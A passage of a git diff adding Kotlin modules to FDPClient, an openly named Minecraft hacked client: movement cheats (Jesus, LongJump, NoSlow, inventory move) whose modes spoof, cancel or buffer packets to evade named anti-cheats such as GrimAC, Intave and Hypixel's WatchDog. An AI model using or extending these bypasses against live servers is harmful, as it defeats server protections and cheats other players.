mc.gameSettings.keyBindForward.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindForward) + mc.gameSettings.keyBindBack.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindBack) + mc.gameSettings.keyBindRight.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindRight) + mc.gameSettings.keyBindLeft.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindLeft) + mc.gameSettings.keyBindJump.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindJump) + mc.gameSettings.keyBindSprint.pressed = GameSettings.isKeyDown(mc.gameSettings.keyBindSprint) + + if (rotateValue.get()) { + if (Keyboard.isKeyDown(Keyboard.KEY_UP)) { + if (mc.thePlayer.rotationPitch > -90) { + mc.thePlayer.rotationPitch -= 5 + } + } + if (Keyboard.isKeyDown(Keyboard.KEY_DOWN)) { + if (mc.thePlayer.rotationPitch < 90) { + mc.thePlayer.rotationPitch += 5 + } + } + if (Keyboard.isKeyDown(Keyboard.KEY_LEFT)) { + mc.thePlayer.rotationYaw -= 5 + } + if (Keyboard.isKeyDown(Keyboard.KEY_RIGHT)) { + mc.thePlayer.rotationYaw += 5 + } + } + } + } + + @EventTarget + fun onMotion(event: MotionEvent) { + updateKeyState() + } + + @EventTarget + fun onScreen(event: ScreenEvent) { + updateKeyState() + } + + @EventTarget + fun onClick(event: ClickWindowEvent) { + if (noMoveClicksValue.get() && MovementUtils.isMoving()) { + event.cancelEvent() + } + } + + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + + lastInvOpen = invOpen + if (packet is S2DPacketOpenWindow || (packet is C16PacketClientStatus && packet.status == C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)) { + invOpen = true + if (noSprintValue.equals("PacketSpoof")) { + if (mc.thePlayer.isSprinting) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING)) + } + if (mc.thePlayer.isSneaking) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING)) + } + } + } + if (packet is S2EPacketCloseWindow || packet is C0DPacketCloseWindow) { + invOpen = false + if (noSprintValue.equals("PacketSpoof")) { + if (mc.thePlayer.isSprinting) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING)) + } + if (mc.thePlayer.isSneaking) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING)) + } + } + } + + when (bypassValue.get().lowercase()) { + "packetinv" -> { + if (packet is C16PacketClientStatus && packet.status == C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT) { + event.cancelEvent() + isInv = true + } + if (packet is C0DPacketCloseWindow) { + event.cancelEvent() + isInv = false + } + + if (packet is C0EPacketClickWindow) { + if (isInv) return + packetListYes.clear() + packetListYes.add(packet) + + event.cancelEvent() + + PacketUtils.sendPacketNoEvent(C16PacketClientStatus(C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT)) + packetListYes.forEach { + PacketUtils.sendPacketNoEvent(it) + } + packetListYes.clear() + PacketUtils.sendPacketNoEvent(C0DPacketCloseWindow(mc.thePlayer.inventoryContainer.windowId)) + + } + } + "noopenpacket" -> { + if (packet is C16PacketClientStatus && packet.status == C16PacketClientStatus.EnumState.OPEN_INVENTORY_ACHIEVEMENT) { + event.cancelEvent() + } + } + "blink" -> { + if (packet is C03PacketPlayer) { + if (lastInvOpen) { + blinkPacketList.add(packet) + event.cancelEvent() + } else if (blinkPacketList.isNotEmpty()) { + blinkPacketList.add(packet) + event.cancelEvent() + blinkPacketList.forEach { + PacketUtils.sendPacketNoEvent(it) + } + blinkPacketList.clear() + } + } + } + } + } + + @EventTarget + fun onWorld(event: WorldEvent) { + blinkPacketList.clear() + invOpen = false + lastInvOpen = false + } + + override fun onDisable() { + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindForward) || mc.currentScreen != null) { + mc.gameSettings.keyBindForward.pressed = false + } + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindBack) || mc.currentScreen != null) { + mc.gameSettings.keyBindBack.pressed = false + } + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindRight) || mc.currentScreen != null) { + mc.gameSettings.keyBindRight.pressed = false + } + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindLeft) || mc.currentScreen != null) { + mc.gameSettings.keyBindLeft.pressed = false + } + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindJump) || mc.currentScreen != null) { + mc.gameSettings.keyBindJump.pressed = false + } + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindSprint) || mc.currentScreen != null) { + mc.gameSettings.keyBindSprint.pressed = false + } + + blinkPacketList.clear() + lastInvOpen = false + invOpen = false + } + + override val tag: String + get() = bypassValue.get() + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Jesus.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Jesus.kt new file mode 100644 index 0000000..5607758 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/Jesus.kt @@ -0,0 +1,120 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.movement.jesus.JesusMode +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.block.BlockUtils +import net.minecraft.block.BlockLiquid +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos + +@ModuleInfo(name = "Jesus", category = ModuleCategory.MOVEMENT) +object Jesus : Module() { + + private val modes = ClassUtils.resolvePackage("${this.javaClass.`package`.name}.jesus", JesusMode::class.java) + .map { it.newInstance() as JesusMode } + .sortedBy { it.modeName } + + private val mode: JesusMode + get() = modes.find { modeValue.equals(it.modeName) } ?: throw NullPointerException() // this should not happen + + val modeValue: ListValue = object : ListValue("Mode", modes.map { it.modeName }.toTypedArray(), "Vanilla") { + override fun onChange(oldValue: String, newValue: String) { + if (state) onDisable() + } + + override fun onChanged(oldValue: String, newValue: String) { + if (state) onEnable() + } + } + private val noJumpValue = BoolValue("NoJump", false) + + fun isLiquidBlock(bb: AxisAlignedBB = mc.thePlayer.entityBoundingBox): Boolean { + return BlockUtils.collideBlock(bb) { it is BlockLiquid } + } + override fun onEnable() { + mode.onEnable() + } + + override fun onDisable() { + mode.onDisable() + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + mode.onUpdate(event) + + if (mc.thePlayer == null || mc.thePlayer.isSneaking) { + return + } + + val blockPos = mc.thePlayer.position.down() + mode.onJesus(event, blockPos) + } + + @EventTarget + fun onMotion(event: MotionEvent) { + mode.onMotion(event) + } + + @EventTarget + fun onPacket(event: PacketEvent) { + mode.onPacket(event) + } + + @EventTarget + fun onMove(event: MoveEvent) { + mode.onMove(event) + } + + @EventTarget + fun onBlockBB(event: BlockBBEvent) { + mode.onBlockBB(event) + } + + @EventTarget + fun onJump(event: JumpEvent) { + mode.onJump(event) + + if (mc.thePlayer == null) { + return + } + + val block = BlockUtils.getBlock(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 0.01, mc.thePlayer.posZ)) + if (noJumpValue.get() && block is BlockLiquid) { + event.cancelEvent() + } + } + + @EventTarget + fun onStep(event: StepEvent) { + mode.onStep(event) + } + + override val tag: String + get() = modeValue.get() + + /** + * 读取mode中的value并和本体中的value合并 + * 所有的value必须在这个之前初始化 + */ + override val values = super.values.toMutableList().also { + modes.map { + mode -> mode.values.forEach { value -> + //it.add(value.displayable { modeValue.equals(mode.modeName) }) + val displayableFunction = value.displayableFunction + it.add(value.displayable { displayableFunction.invoke() && modeValue.equals(mode.modeName) }) + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/LongJump.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/LongJump.kt new file mode 100644 index 0000000..c9af760 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/LongJump.kt @@ -0,0 +1,140 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.EnumAutoDisableType +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.movement.longjumps.LongJumpMode +import net.ccbluex.liquidbounce.utils.ClassUtils +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.features.value.FloatValue + +@ModuleInfo(name = "LongJump", category = ModuleCategory.MOVEMENT, autoDisable = EnumAutoDisableType.FLAG) +object LongJump : Module() { + + private val modes = ClassUtils.resolvePackage("${this.javaClass.`package`.name}.longjumps", LongJumpMode::class.java) + .map { it.newInstance() as LongJumpMode } + .sortedBy { it.modeName } + + private val mode: LongJumpMode + get() = modes.find { modeValue.equals(it.modeName) } ?: throw NullPointerException() // this should not happen + + private val modeValue: ListValue = object : ListValue("Mode", modes.map { it.modeName }.toTypedArray(), "NCP") { + override fun onChange(oldValue: String, newValue: String) { + if (state) onDisable() + } + + override fun onChanged(oldValue: String, newValue: String) { + if (state) onEnable() + } + } + + val autoJumpValue = BoolValue("AutoJump", true) + val autoDisableValue = BoolValue("AutoDisable", true) + val timerValue = FloatValue("GlobalTimer", 1.0f, 0.1f, 2.0f) + val onlyAirValue = BoolValue("TimerOnlyAir", true) + val legacyWarningValue = BoolValue("LegacyWarn", true) + var airTick = 0 + var isJumped = false + var noTimerModify = false + + override fun onEnable() { + airTick = 0 + isJumped = false + noTimerModify = false + mode.onEnable() + } + + override fun onDisable() { + mc.thePlayer.capabilities.isFlying = false + mc.thePlayer.capabilities.flySpeed = 0.05f + mc.thePlayer.noClip = false + mc.timer.timerSpeed = 1F + mc.thePlayer.speedInAir = 0.02F + mode.onDisable() + } + + @EventTarget + fun onUpdate(event: UpdateEvent) { + if(!state) return + if ((!onlyAirValue.get() || !mc.thePlayer.onGround) && !noTimerModify) { + mc.timer.timerSpeed = timerValue.get() + } + if (!mc.thePlayer.onGround) { + airTick++ + }else { + if (airTick > 1 && autoDisableValue.get()) { + mode.onAttemptDisable() + } else if (!autoDisableValue.get()) { + airTick = 0 + } + } + mode.onUpdate(event) + if (autoJumpValue.get() && mc.thePlayer.onGround && MovementUtils.isMoving() && airTick < 2) { + mode.onAttemptJump() + } + } + + @EventTarget + fun onMotion(event: MotionEvent) { + if(!state) return + mode.onMotion(event) + if(event.eventState != EventState.PRE) return + mode.onPreMotion(event) + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if(!state) return + mode.onPacket(event) + } + + @EventTarget + fun onMove(event: MoveEvent) { + if(!state) return + mode.onMove(event) + } + + @EventTarget + fun onBlockBB(event: BlockBBEvent) { + if(!state) return + mode.onBlockBB(event) + } + + @EventTarget + fun onJump(event: JumpEvent) { + if(!state) return + mode.onJump(event) + } + + @EventTarget + fun onStep(event: StepEvent) { + if(!state) return + mode.onStep(event) + } + + override val tag: String + get() = modeValue.get() + + /** + * 读取mode中的value并和本体中的value合并 + * 所有的value必须在这个之前初始化 + */ + override val values = super.values.toMutableList().also { + modes.map { + mode -> mode.values.forEach { value -> + //it.add(value.displayable { modeValue.equals(mode.modeName) }) + val displayableFunction = value.displayableFunction + it.add(value.displayable { displayableFunction.invoke() && modeValue.equals(mode.modeName) }) + } + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoFluid.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoFluid.kt new file mode 100644 index 0000000..0140fe0 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoFluid.kt @@ -0,0 +1,18 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.value.BoolValue + +@ModuleInfo(name = "NoFluid", category = ModuleCategory.MOVEMENT) +object NoFluid : Module() { + + val waterValue = BoolValue("Water", true) + val lavaValue = BoolValue("Lava", true) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoJumpDelay.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoJumpDelay.kt new file mode 100644 index 0000000..363b68f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoJumpDelay.kt @@ -0,0 +1,13 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo + +@ModuleInfo(name = "NoJumpDelay", category = ModuleCategory.MOVEMENT) +object NoJumpDelay : Module() \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoSlow.kt b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoSlow.kt new file mode 100644 index 0000000..3e8878c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/features/module/modules/movement/NoSlow.kt @@ -0,0 +1,790 @@ + +package net.ccbluex.liquidbounce.features.module.modules.movement + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.event.* +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.features.module.ModuleCategory +import net.ccbluex.liquidbounce.features.module.ModuleInfo +import net.ccbluex.liquidbounce.features.module.modules.combat.KillAura +import net.ccbluex.liquidbounce.features.value.BoolValue +import net.ccbluex.liquidbounce.features.value.FloatValue +import net.ccbluex.liquidbounce.features.value.IntegerValue +import net.ccbluex.liquidbounce.features.value.ListValue +import net.ccbluex.liquidbounce.utils.MovementUtils +import net.ccbluex.liquidbounce.utils.PacketUtils +import net.ccbluex.liquidbounce.utils.timer.MSTimer +import net.minecraft.item.* +import net.minecraft.network.Packet +import net.minecraft.network.play.INetHandlerPlayServer +import net.minecraft.network.play.client.* +import net.minecraft.network.play.client.C03PacketPlayer.C06PacketPlayerPosLook +import net.minecraft.network.play.client.C16PacketClientStatus.EnumState +import net.minecraft.network.play.server.S08PacketPlayerPosLook +import net.minecraft.network.play.server.S09PacketHeldItemChange +import net.minecraft.network.play.server.S2FPacketSetSlot +import net.minecraft.network.play.server.S30PacketWindowItems +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing +import java.util.* +import kotlin.math.sqrt + +@ModuleInfo(name = "NoSlow", category = ModuleCategory.MOVEMENT) +object NoSlow : Module() { + + val mode = arrayOf( + "Vanilla", + "LiquidBounce", + "Custom", + "Bug", + "WatchDog", + "WatchDog2", + "UNCP", + "NCP", + "AAC", + "AAC4", + "AAC5", + "SwitchItem", + "Matrix", + "Medusa", + "OldIntave", + "IntaveSword", + "InvalidC08", + "GrimAC", + "GrimC09", + "Hypixel", + "HypixelNew", + "SpamItemChange", + "SpamPlace", + "SpamEmptyPlace" + ) + //Basic settings + private val modeValue = ListValue( + "PacketMode", + mode, + "Vanilla" + ) + private val antiSwitchItem = BoolValue("AntiSwitchItem", false) + private val onlyGround = BoolValue("OnlyGround", false) + private val onlyMove = BoolValue("OnlyMove", false) + + //Modify Slowdown / Packets + private val blockModifyValue = BoolValue("Blocking", true) + private val blockForwardMultiplier = + FloatValue("BlockForwardMultiplier", 1.0F, 0.2F, 1.0F).displayable { blockModifyValue.get() } + private val blockStrafeMultiplier = + FloatValue("BlockStrafeMultiplier", 1.0F, 0.2F, 1.0F).displayable { blockModifyValue.get() } + private val consumeModifyValue = BoolValue("Consume", true) + private val consumePacketValue = ListValue( + "ConsumePacket", + arrayOf("None", "AAC5", "SpamItemChange", "SpamPlace", "SpamEmptyPlace","UNCP", "Glitch", "Grim","Bug","IntaveFood","InvalidC08", "Packet"), + "None" + ).displayable { consumeModifyValue.get() } + private val conmode = ListValue("BugMode", arrayOf("C07","C16"),"C07").displayable { consumePacketValue.equals("Bug")} + private val consumeTimingValue = + ListValue("ConsumeTiming", arrayOf("Pre", "Post"), "Pre").displayable { consumeModifyValue.get() } + private val consumeForwardMultiplier = + FloatValue("ConsumeForwardMultiplier", 1.0F, 0.2F, 1.0F).displayable { consumeModifyValue.get() } + private val consumeStrafeMultiplier = + FloatValue("ConsumeStrafeMultiplier", 1.0F, 0.2F, 1.0F).displayable { consumeModifyValue.get() } + private val bowModifyValue = BoolValue("Bow", true) + private val bowPacketValue = ListValue( + "BowPacket", + arrayOf("None", "AAC5", "SpamItemChange", "SpamPlace", "SpamEmptyPlace","UNCP", "Glitch", "Grim","InvalidC08", "Packet"), + "None" + ).displayable { bowModifyValue.get() } + private val bowTimingValue = + ListValue("BowTiming", arrayOf("Pre", "Post"), "Pre").displayable { bowModifyValue.get() } + private val bowForwardMultiplier = + FloatValue("BowForwardMultiplier", 1.0F, 0.2F, 1.0F).displayable { bowModifyValue.get() } + private val bowStrafeMultiplier = + FloatValue("BowStrafeMultiplier", 1.0F, 0.2F, 1.0F).displayable { bowModifyValue.get() } + private val customOnGround = BoolValue("CustomOnGround", false).displayable { modeValue.equals("Custom") } + private val customDelayValue = IntegerValue("CustomDelay", 60, 10, 200).displayable { modeValue.equals("Custom") } + val soulSandValue = BoolValue("SoulSand", true) + + //AACv4 + private val c07Value = BoolValue("AAC4-C07", true).displayable { modeValue.equals("AAC4") } + private val c08Value = BoolValue("AAC4-C08", true).displayable { modeValue.equals("AAC4") } + private val groundValue = BoolValue("AAC4-OnGround", true).displayable { modeValue.equals("AAC4") } + + // Slowdown on teleport + private val teleportValue = BoolValue("Teleport", false) + private val teleportModeValue = ListValue( + "TeleportMode", + arrayOf("Vanilla", "VanillaNoSetback", "Custom", "Decrease"), + "Vanilla" + ).displayable { teleportValue.get() } + private val teleportNoApplyValue = BoolValue("TeleportNoApply", false).displayable { teleportValue.get() } + private val teleportCustomSpeedValue = FloatValue("Teleport-CustomSpeed", 0.13f, 0f, 1f).displayable { + teleportValue.get() && teleportModeValue.equals("Custom") + } + private val teleportCustomYValue = + BoolValue("Teleport-CustomY", false).displayable { teleportValue.get() && teleportModeValue.equals("Custom") } + private val teleportDecreasePercentValue = FloatValue( + "Teleport-DecreasePercent", + 0.13f, + 0f, + 1f + ).displayable { teleportValue.get() && teleportModeValue.equals("Decrease") } + + private var pendingFlagApplyPacket = false + private var lastMotionX = 0.0 + private var lastMotionY = 0.0 + private var lastMotionZ = 0.0 + private val msTimer = MSTimer() + private val matrixcheck = MSTimer() + private var sendBuf = false + private var packetBuf = LinkedList<Packet<INetHandlerPlayServer>>() + private var nextTemp = false + private var waitC03 = false + private var sendPacket = false + private var lastBlockingStat = false + private var eatslow = false + // bug + private var bugt = 0 + private var start = false + private var stop = false + private var mstimer2 = MSTimer() + //hypixel + private var postPlace = false + //UNCP + private var shouldSwap = false + + override fun onEnable() { + start = false + stop = false + mstimer2.reset() + } + + override fun onDisable() { + shouldSwap = false + bugt = 0 + matrixcheck.reset() + msTimer.reset() + eatslow = false + pendingFlagApplyPacket = false + sendBuf = false + packetBuf.clear() + nextTemp = false + waitC03 = false + } + + private fun sendPacket( + event: MotionEvent, + sendC07: Boolean, + sendC08: Boolean, + delay: Boolean, + delayValue: Long, + onGround: Boolean, + watchDog: Boolean = false + ) { + val digging = C07PacketPlayerDigging( + C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, + BlockPos(-1, -1, -1), + EnumFacing.DOWN + ) + val blockPlace = C08PacketPlayerBlockPlacement(mc.thePlayer.inventory.getCurrentItem()) + val blockMent = C08PacketPlayerBlockPlacement( + BlockPos(-1, -1, -1), + 255, + mc.thePlayer.inventory.getCurrentItem(), + 0f, + 0f, + 0f + ) + if (onGround && !mc.thePlayer.onGround) { + return + } + if (sendC07 && event.eventState == EventState.PRE) { + if (delay && msTimer.hasTimePassed(delayValue)) { + mc.netHandler.addToSendQueue(digging) + } else if (!delay) { + mc.netHandler.addToSendQueue(digging) + } + } + if (sendC08 && event.eventState == EventState.POST) { + if (delay && msTimer.hasTimePassed(delayValue) && !watchDog) { + mc.netHandler.addToSendQueue(blockPlace) + msTimer.reset() + } else if (!delay && !watchDog) { + mc.netHandler.addToSendQueue(blockPlace) + } else if (watchDog) { + mc.netHandler.addToSendQueue(blockMent) + } + } + } + + private fun sendPacket2(packetType: String) { + val isUsingItem = usingItemFunc() + when (packetType.lowercase()) { + "aac5" -> { + mc.netHandler.addToSendQueue( + C08PacketPlayerBlockPlacement( + BlockPos(-1, -1, -1), + 255, + mc.thePlayer.inventory.getCurrentItem(), + 0f, + 0f, + 0f + ) + ) + } + "invalidc08" -> { + val heldItem = mc.thePlayer.heldItem + if (start) { + // Food Only + if (heldItem.item is ItemPotion || heldItem.item is ItemBucketMilk) { + return + } + + if (getEmptySlot() != -1) { + if (mc.thePlayer.ticksExisted % 3 == 0) + PacketUtils.sendPacketNoEvent( + C08PacketPlayerBlockPlacement( + BlockPos(-1, -1, -1), + 1, + null, + 0f, + 0f, + 0f + ) + ) + } + } + } + + "spamitemchange" -> { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + } + + "spamplace" -> { + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement(mc.thePlayer.inventory.getCurrentItem())) + } + + "spamemptyplace" -> { + mc.netHandler.addToSendQueue(C08PacketPlayerBlockPlacement()) + } + + "glitch" -> { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange((mc.thePlayer.inventory.currentItem + 1) % 9)) + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem)) + } + "intavefood" -> { + if (start) PacketUtils.sendPacketNoEvent(C07PacketPlayerDigging(C07PacketPlayerDigging.Action.RELEASE_USE_ITEM,BlockPos.ORIGIN,EnumFacing.UP)) + } + "uncp" -> { + if (start && (shouldSwap)) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange((mc.thePlayer.inventory.currentItem + 1) % 9)) + PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(BlockPos.ORIGIN, 255, mc.thePlayer.heldItem, 0f, 0f, 0f)) + shouldSwap = false + } + } + + "grim" -> { + val handle = mc.thePlayer.inventory.currentItem + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(handle % 8 + 1)) + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(handle % 7 + 2)) + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(handle)) + } + + "packet" -> { + null + } + } + } + + @EventTarget + fun onMotion(event: MotionEvent) { + if (mc.thePlayer == null || mc.theWorld == null) + return + + if ((!MovementUtils.isMoving() && onlyMove.get()) || (onlyGround.get() && !mc.thePlayer.onGround)) { + return + } + + val killAura = FDPClient.moduleManager[KillAura::class.java]!! + val heldItem = mc.thePlayer.heldItem?.item + if (event.eventState == EventState.POST && modeValue.equals("Hypixel") && postPlace) { + if (mc.thePlayer.ticksExisted % 3 == 0) { + mc.thePlayer.sendQueue.addToSendQueue(C08PacketPlayerBlockPlacement(mc.thePlayer.heldItem)) + } + postPlace = false + } + start = event.eventState == EventState.PRE + if (consumeModifyValue.get() && mc.thePlayer.isUsingItem && (heldItem is ItemFood || heldItem is ItemPotion || heldItem is ItemBucketMilk)) { + if ((consumeTimingValue.equals("Pre") && event.eventState == EventState.PRE) || (consumeTimingValue.equals("Post") && event.eventState == EventState.POST)) { + if (!consumePacketValue.equals("Bug")) { + sendPacket2(consumePacketValue.get()) + } + if (consumePacketValue.equals("Bug")) { + if (conmode.equals("C07")) { + if (mc.thePlayer.heldItem.item is ItemPotion && mc.thePlayer.heldItem.item is ItemBucketMilk) { + return + } + mc.thePlayer.sendQueue.addToSendQueue( + C07PacketPlayerDigging( + C07PacketPlayerDigging.Action.DROP_ITEM, + BlockPos(0, 0, 0), + EnumFacing.DOWN + ) + ) + } else { + mc.netHandler.addToSendQueue(C16PacketClientStatus(EnumState.OPEN_INVENTORY_ACHIEVEMENT)) + } + mc.gameSettings.keyBindUseItem.pressed = false + mc.thePlayer.stopUsingItem() + mstimer2.reset() + } + } + } + + if (bowModifyValue.get() && mc.thePlayer.isUsingItem && heldItem is ItemBow) { + if ((bowTimingValue.equals("Pre") && event.eventState == EventState.PRE) || (bowTimingValue.equals("Post") && event.eventState == EventState.POST)) { + sendPacket2(bowPacketValue.get()) + } + } + + if ((blockModifyValue.get() && (mc.thePlayer.isBlocking || killAura.blockingStatus) && heldItem is ItemSword) + || (bowModifyValue.get() && mc.thePlayer.isUsingItem && heldItem is ItemBow && bowPacketValue.equals("Packet")) + || (consumeModifyValue.get() && mc.thePlayer.isUsingItem && (heldItem is ItemFood || heldItem is ItemPotion || heldItem is ItemBucketMilk) && consumePacketValue.equals( + "Packet" + )) + ) { + when (modeValue.get().lowercase()) { + "liquidbounce" -> { + sendPacket(event, sendC07 = true, sendC08 = true, delay = false, delayValue = 0, onGround = false) + } + + "aac" -> { + if (mc.thePlayer.ticksExisted % 3 == 0) { + sendPacket( + event, + sendC07 = true, + sendC08 = false, + delay = false, + delayValue = 0, + onGround = false + ) + } else if (mc.thePlayer.ticksExisted % 3 == 1) { + sendPacket( + event, + sendC07 = false, + sendC08 = true, + delay = false, + delayValue = 0, + onGround = false + ) + } + } + + "aac4" -> { + sendPacket(event, c07Value.get(), c08Value.get(), true, 80, groundValue.get()) + } + + "aac5" -> { + if (event.eventState == EventState.POST) { + mc.netHandler.addToSendQueue( + C08PacketPlayerBlockPlacement( + BlockPos(-1, -1, -1), + 255, + mc.thePlayer.inventory.getCurrentItem(), + 0f, + 0f, + 0f + ) + ) + } + } + "UNCP" -> { + if (event.eventState == EventState.POST && usingItemFunc()) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange((mc.thePlayer.inventory.currentItem + 1) % 9)) + PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(BlockPos.ORIGIN, 255, mc.thePlayer.heldItem, 0f, 0f, 0f)) + PacketUtils.sendPacketNoEvent( + C08PacketPlayerBlockPlacement( + BlockPos(-1, -1, -1), 255, mc.thePlayer.heldItem, 0f, 0f, 0f + ) + ) + } + } + + "custom" -> { + sendPacket( + event, + sendC07 = true, + sendC08 = true, + delay = true, + delayValue = customDelayValue.get().toLong(), + onGround = customOnGround.get() + ) + } + + "ncp" -> { + sendPacket(event, sendC07 = true, sendC08 = true, delay = false, delayValue = 0, onGround = false) + } + + "watchdog2" -> { + if (event.eventState == EventState.PRE) { + mc.netHandler.addToSendQueue( + C07PacketPlayerDigging( + C07PacketPlayerDigging.Action.RELEASE_USE_ITEM, + BlockPos.ORIGIN, + EnumFacing.DOWN + ) + ) + } else { + mc.netHandler.addToSendQueue( + C08PacketPlayerBlockPlacement( + BlockPos(-1, -1, -1), + 255, + null, + 0.0f, + 0.0f, + 0.0f + ) + ) + } + } + "bug" -> { + mc.netHandler.addToSendQueue(C16PacketClientStatus(EnumState.OPEN_INVENTORY_ACHIEVEMENT)) + mc.thePlayer.stopUsingItem() + mc.thePlayer.closeScreen() + } + "intavesword" -> { + if (start) PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(mc.thePlayer.heldItem)) + } + "invalidc08" -> { + val heldItem = mc.thePlayer.heldItem + if (event.eventState == EventState.PRE) { + // Food Only + if (heldItem.item is ItemPotion || heldItem.item is ItemBucketMilk) { + return + } + + if (getEmptySlot() != -1) { + if (mc.thePlayer.ticksExisted % 3 == 0) + PacketUtils.sendPacketNoEvent(C08PacketPlayerBlockPlacement(BlockPos(-1, -1, -1), 1, null, 0f, 0f, 0f)) + } + } + } + + "hypixel" -> { + postPlace = false + if (mc.thePlayer.ticksExisted % 3 == 0) { + PacketUtils.sendPacketNoEvent( + C08PacketPlayerBlockPlacement( + BlockPos(-1, -1, -1), + EnumFacing.UP.index, + null, + 0.0f, + 0.0f, + 0.0f + ) + ) + } + } + + "watchdog" -> { + if (mc.thePlayer.ticksExisted % 2 == 0) { + sendPacket(event, true, sendC08 = false, delay = true, delayValue = 50, onGround = true) + } else { + sendPacket( + event, + sendC07 = false, + sendC08 = true, + delay = false, + delayValue = 0, + onGround = true, + watchDog = true + ) + } + } + + "oldintave" -> { + if (mc.thePlayer.isUsingItem) { + if (event.eventState == EventState.PRE) { + mc.netHandler.addToSendQueue(C09PacketHeldItemChange(mc.thePlayer.inventory.currentItem % 8 + 1)) + 